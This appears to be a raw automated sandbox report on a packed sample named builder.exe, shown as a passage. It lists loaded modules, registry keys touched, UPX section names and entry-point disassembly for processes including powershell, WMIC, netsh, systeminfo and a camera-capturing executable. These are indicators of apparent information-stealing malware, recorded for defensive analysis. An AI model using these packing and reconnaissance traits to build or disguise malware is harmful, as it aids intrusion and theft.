"WMIC.exe" loaded module "USER32.DLL" at base 7ff8e5f90000 "WMIC.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff8e2640000 "WMIC.exe" loaded module "MSISO.DLL" at base 7ff8d4fb0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8e0bd0000 "WMIC.exe" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSOXMLMF.DLL" at base 7ff8bec60000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff8d7040000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff8e2640000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff8e2640000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff8d5ae0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ff8d5e90000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\XML\WMI2XML.DLL" at base 7ff8d3940000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7ff8b23e0000 "WMIC.exe" loaded module "AMSI.DLL" at base 7ff8d3960000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff8d9a00000 "WMIC.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff8c4920000 "WMIC.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8e2640000 "WMIC.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8e2640000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8e2640000 "WMIC.exe" loaded module "KERNEL32" at base 7ff8e4850000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\P1GI47AU.DLL" at base 7ff8c48d0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff8c45a0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff8e4850000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff8e38e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff8e2640000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff8e2640000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff8e2640000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff8c3800000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff8e6180000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff8e25b0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff8d9a00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff8b2d80000 "powershell.exe" loaded module "USER32.DLL" at base 7ff8e5f90000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff8e2640000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff8c4820000 "powershell.exe" loaded module "NTDLL" at base 7ff8e6240000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff8e4010000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff8e49a0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff8e4a30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff8b0de0000 "powershell.exe" loaded module "OLE32.DLL" at base 7ff8e4500000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff8e4010000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff8e4710000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff8b0170000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff8af6f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff8c2480000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff8e1a30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff8e2ca0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff8ad680000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff8e4010000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff8e4010000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff8e6240000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff8e4b50000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff8e2bf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff8e2bf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff8e2d40000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff8d3960000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff8e2d40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff8d9a00000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff8d3910000 "powershell.exe" loaded module "KERNEL32" at base 7ff8e4850000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\P1GI47AU.DLL" at base 7ff8c48f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff8b3920000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff8b2c10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff8b2aa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff8acdd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ff8c38b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ff8ac460000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff8b2730000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff8e2640000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff8b25e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff8b38b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff8b2500000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff8ac320000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff8c2220000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff8d8ac0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff8e2490000 "powershell.exe" loaded module "WLDP.DLL" at base 7ff8e1680000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8e0bd0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff8b2420000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff8e4850000 "powershell.exe" loaded module "USERENV.DLL" at base 7ff8e24c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff8e38e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff8e4010000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff8e20f0000 "powershell.exe" loaded module "OLEAUT32" at base 7ff8e4710000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff8d7040000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff8e2640000 "netsh.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff8c45a0000 "netsh.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 7ff8e25b0000 "netsh.exe" loaded module "IFMON.DLL" at base 7ff8cd7f0000 "netsh.exe" loaded module "MPRAPI.DLL" at base 7ff8c48b0000 "netsh.exe" loaded module "MSVCRT.DLL" at base 7ff8e4460000 "netsh.exe" loaded module "RASMONTR.DLL" at base 7ff8c38b0000 "netsh.exe" loaded module "AUTHFWCFG.DLL" at base 7ff8c24a0000 "netsh.exe" loaded module "DHCPCMONITOR.DLL" at base 7ff8cc8c0000 "netsh.exe" loaded module "DOT3CFG.DLL" at base 7ff8c34e0000 "netsh.exe" loaded module "FWCFG.DLL" at base 7ff8c2480000 "netsh.exe" loaded module "HNETMON.DLL" at base 7ff8c9740000 "netsh.exe" loaded module "NETIOHLP.DLL" at base 7ff8bf750000 "netsh.exe" loaded module "NETTRACE.DLL" at base 7ff8b2980000 "netsh.exe" loaded module "NSHHTTP.DLL" at base 7ff8c4590000 "netsh.exe" loaded module "NSHIPSEC.DLL" at base 7ff8b28d0000 "netsh.exe" loaded module "RPCRT4.DLL" at base 7ff8e4a30000 "netsh.exe" loaded module "NSHWFP.DLL" at base 7ff8b2710000 "netsh.exe" loaded module "P2PNETSH.DLL" at base 7ff8b26d0000 "netsh.exe" loaded module "RPCNSH.DLL" at base 7ff8b2680000 "netsh.exe" loaded module "WCNNETSH.DLL" at base 7ff8b2620000 "netsh.exe" loaded module "WHHELPER.DLL" at base 7ff8b2610000 "netsh.exe" loaded module "WLANCFG.DLL" at base 7ff8b25c0000 "netsh.exe" loaded module "WSHELPER.DLL" at base 7ff8b2510000 "netsh.exe" loaded module "WWANCFG.DLL" at base 7ff8b24f0000 "netsh.exe" loaded module "PEERDISTSH.DLL" at base 7ff8b2480000 "netsh.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 7ff8e4010000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8e0bd0000 "netsh.exe" loaded module "WCMAPI.DLL" at base 7ff8cd050000 "netsh.exe" loaded module "USERENV.DLL" at base 7ff8e24c0000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\SPPC.DLL" at base 7ff8d4ec0000 "netsh.exe" loaded module "KERNEL32.DLL" at base 7ff8e4850000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff8e2ca0000 "netsh.exe" loaded module "MPRMSG.DLL" at base 7ff8d3960000 "netsh.exe" loaded module "OLEAUT32.DLL" at base 7ff8e4710000 "systeminfo.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff8c45a0000 "systeminfo.exe" loaded module "RPCRT4.DLL" at base 7ff8e4a30000 "systeminfo.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff8e2640000 "systeminfo.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff8d7f60000 "systeminfo.exe" loaded module "KERNEL32.DLL" at base 7ff8e4850000 "systeminfo.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff8d7040000 "systeminfo.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff8e2640000 "systeminfo.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff8e2640000 "systeminfo.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff8d5ae0000 "Camera.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 742e0000 "Camera.exe" loaded module "KERNEL32.DLL" at base 77490000 "Camera.exe" loaded module "OLE32.DLL" at base 77110000 "Camera.exe" loaded module "OLEAUT32.DLL" at base 76f80000 "Camera.exe" loaded module "%WINDIR%\SYSWOW64\QUARTZ.DLL" at base 74110000 "Camera.exe" loaded module "%WINDIR%\SYSTEM32\QUARTZ.DLL" at base 74110000 "Camera.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74010000 "Camera.exe" loaded module "IMM32.DLL" at base 77a60000 "Camera.exe" loaded module "%WINDIR%\SYSWOW64\QCAP.DLL" at base 73fa0000 "Camera.exe" loaded module "%WINDIR%\SYSWOW64\DEVENUM.DLL" at base 73ec0000 "Camera.exe" loaded module "SETUPAPI.DLL" at base 75cf0000 "Camera.exe" loaded module "MSDMO.DLL" at base 73e50000 "Camera.exe" loaded module "AVICAP32.DLL" at base 73e3000044:T67d,"builder.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "python310.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "libcrypto-1_1.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "rar.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "sqlite3.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "libssl-1_1.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "VCRUNTIME140.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Camera.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "libffi-7.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "unicodedata.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_decimal.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_lzma.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_ssl.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_ctypes.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_sqlite3.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_bz2.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_socket.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_hashlib.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_queue.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "select.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "tinyaes.cp310-win_amd64.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler"45:Taf7,"tasklist.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "tasklist.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "tasklist.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "tasklist.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "tasklist.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "tasklist.exe" touched "WbemStatusCode" (Path: "HKCU\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\TREATAS") "WMIC.exe" touched "Free Threaded XML DOM Document 6.0" (Path: "HKCU\CLSID\{88D96A06-F192-11D4-A65F-0040963251E5}\TREATAS") "WMIC.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WMIC.exe" touched "Microsoft WBEM WMI Object Factory" (Path: "HKCU\CLSID\{8D1C559D-84F0-4BB3-A7D5-56A7435A9BA6}\TREATAS") "WMIC.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "WMIC.exe" touched "WbemQuery" (Path: "HKCU\CLSID\{EAC8A024-21E2-4523-AD73-A71A0AA2F56A}\TREATAS") "WMIC.exe" touched "XSL Template 6.0" (Path: "HKCU\CLSID\{88D96A08-F192-11D4-A65F-0040963251E5}\TREATAS") "WMIC.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\TREATAS") "WMIC.exe" touched "Component Categories Manager" (Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\TREATAS") "WMIC.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\INPROCSERVER32") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\INPROCSERVER32") "Camera.exe" touched "Filter Mapper2" (Path: "HKCU\WOW6432NODE\CLSID\{CDA42200-BD88-11D0-BD4E-00A0C911CE86}") "Camera.exe" touched "Filter Graph" (Path: "HKCU\WOW6432NODE\CLSID\{E436EBB3-524F-11CE-9F53-0020AF0BA770}\TREATAS") "Camera.exe" touched "Capture Graph Builder 2" (Path: "HKCU\WOW6432NODE\CLSID\{BF87B6E1-8C27-11D0-B3F0-00AA003761C5}\TREATAS") "Camera.exe" touched "System Device Enumerator" (Path: "HKCU\WOW6432NODE\CLSID\{62BE5D10-60EB-11D0-BD3B-00A0C911CE86}\TREATAS") "Camera.exe" touched "VFW Capture Class Manager" (Path: "HKCU\WOW6432NODE\CLSID\{860BB310-5D01-11D0-BD3B-00A0C911CE86}\TREATAS")46:T55e,"builder.exe" has an executable section named ".text" "python310.dll" has an executable section named "UPX0" "python310.dll" has an executable section named "UPX1" "libcrypto-1_1.dll" has an executable section named "UPX0" "libcrypto-1_1.dll" has an executable section named "UPX1" "rar.exe" has an executable section named ".text" "sqlite3.dll" has an executable section named "UPX0" "sqlite3.dll" has an executable section named "UPX1" "libssl-1_1.dll" has an executable section named "UPX0" "libssl-1_1.dll" has an executable section named "UPX1" "VCRUNTIME140.dll" has an executable section named ".text" "Camera.exe" has an executable section named "CPX0" "Camera.exe" has an executable section named "CPX1" "libffi-7.dll" has an executable section named "UPX0" "libffi-7.dll" has an executable section named "UPX1" "unicodedata.pyd" has an executable section named "UPX0" "unicodedata.pyd" has an executable section named "UPX1" "_decimal.pyd" has an executable section named "UPX0" "_decimal.pyd" has an executable section named "UPX1" "_lzma.pyd" has an executable section named "UPX0" "_lzma.pyd" has an executable section named "UPX1" "_ssl.pyd" has an executable section named "UPX0" "_ssl.pyd" has an executable section named "UPX1" "_ctypes.pyd" has an executable section named "UPX0" "_ctypes.pyd" has an executable section named "UPX1"47:T544,"builder.exe" has an writable section named ".data" "python310.dll" has an writable section named "UPX0" "python310.dll" has an writable section named "UPX1" "python310.dll" has an writable section named ".rsrc" "libcrypto-1_1.dll" has an writable section named "UPX0" "libcrypto-1_1.dll" has an writable section named "UPX1" "libcrypto-1_1.dll" has an writable section named ".rsrc" "rar.exe" has an writable section named ".data" "rar.exe" has an writable section named ".tls" "sqlite3.dll" has an writable section named "UPX0" "sqlite3.dll" has an writable section named "UPX1" "sqlite3.dll" has an writable section named ".rsrc" "libssl-1_1.dll" has an writable section named "UPX0" "libssl-1_1.dll" has an writable section named "UPX1" "libssl-1_1.dll" has an writable section named ".rsrc" "VCRUNTIME140.dll" has an writable section named ".data" "Camera.exe" has an writable section named "CPX0" "Camera.exe" has an writable section named "CPX1" "Camera.exe" has an writable section named "CPX2" "libffi-7.dll" has an writable section named "UPX0" "libffi-7.dll" has an writable section named "UPX1" "libffi-7.dll" has an writable section named "UPX2" "unicodedata.pyd" has an writable section named "UPX0" "unicodedata.pyd" has an writable section named "UPX1" "unicodedata.pyd" has an writable section named ".rsrc"48:T2cdc,"builder.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14000b580,add rsp, 0x28,jmp 0x14000b19c,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,sub rsp, 0x28,call 0x14000bb18,test eax, eax,je 0x14000b35e,mov rax, qword ptr gs:[0x30],mov rcx, qword ptr [rax + 8],jmp 0x14000b351,cmp rcx, rax,je 0x14000b365,xor eax, eax,lock cmpxchg qword ptr [rip + 0x4121c], rcx,jne 0x14000b34c,xor al, al,add rsp, 0x28,ret ,mov al, 1,jmp 0x14000b360,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20," "python310.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x18045f4f1,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x160913],lea rdi, [rsi - 0x2fd000],push rdi,mov eax, 0x45ced3,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x1608e6,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "libcrypto-1_1.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x180353ddc,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0xfe253],lea rdi, [rsi - 0x254000],push rdi,mov eax, 0x351273,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0xfe22b,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "rar.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14005b728,add rsp, 0x28,jmp 0x14005b0fc,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,mov rax, rdx,lea rcx, [rip + 0x1c419],mov qword ptr [rbx], rcx,lea rdx, [rbx + 8],xor ecx, ecx,mov qword ptr [rdx], rcx,mov qword ptr [rdx + 8], rcx,lea rcx, [rax + 8],call 0x14005b8cc,lea rax, [rip + 0x1c429],mov qword ptr [rbx], rax,mov rax, rbx,add rsp, 0x20,pop rbx,ret ,int3 ,xor eax, eax,mov qword ptr [rcx + 0x10], rax,lea rax, [rip + 0x1c41f]," "sqlite3.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x18016d595,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x919c3],lea rdi, [rsi - 0xda000],push rdi,mov eax, 0x16a032,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x91997,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "libssl-1_1.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x1800b252b,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x2a963],lea rdi, [rsi - 0x86000],push rdi,mov eax, 0xafed7,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x2a938,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "VCRUNTIME140.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18000ffb1,call 0x1800103bc,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18000ff18,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x10], rbx,mov qword ptr [rsp + 0x18], rsi,push rdi,sub rsp, 0x10,xor eax, eax,xor ecx, ecx,cpuid ,mov r8d, ecx,xor r11d, r11d,mov r10d, edx," "Camera.exe" file has an entrypoint instructions - "pushal ,mov esi, 0x40f000,lea edi, [esi - 0xe000],push edi,jmp 0x41591a,nop ,mov al, byte ptr [esi],inc esi,mov byte ptr [edi], al,inc edi,add ebx, ebx,jne 0x415921,mov ebx, dword ptr [esi],sub esi, -4,adc ebx, ebx,jb 0x415910,mov eax, 1,add ebx, ebx,jne 0x415933,mov ebx, dword ptr [esi],sub esi, -4,adc ebx, ebx,adc eax, eax,add ebx, ebx,jae 0x415944,jne 0x415963,mov ebx, dword ptr [esi],sub esi, -4,adc ebx, ebx,jb 0x415963,dec eax,add ebx, ebx,jne 0x415950,mov ebx, dword ptr [esi],sub esi, -4,adc ebx, ebx,adc eax, eax,jmp 0x415928,add ebx, ebx,jne 0x41595f,mov ebx, dword ptr [esi],sub esi, -4,adc ebx, ebx,adc ecx, ecx,jmp 0x4159b5," "libffi-7.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x18000d78b,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x2bc3],lea rdi, [rsi - 0x9000],push rdi,mov eax, 0xa482,push rax,mov rcx, rsp,mov rdx, rdi,mov rdi, rsi,mov esi, 0x2b9d,push rbp,mov rbp, rsp,mov r9d, dword ptr [rcx],mov r8, rdx,mov rdx, rsi,lea rsi, [rdi + 2],push rsi,mov al, byte ptr [rdi],dec edx,mov cl, al,and al, 7,shr cl, 3,mov rbx, 0xfffffffffffffd00," "unicodedata.pyd" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rcx,mov qword ptr [rsp + 0x10], rdx,mov qword ptr [rsp + 0x18], r8,cmp dl, 1,jne 0x18011622b,push rbx,push rsi,push rdi,push rbp,lea rsi, [rip - 0x43663],lea rdi, [rsi - 0xd1000],push rdi,mov eax, 0x1138d4,push rax,mov rcx, 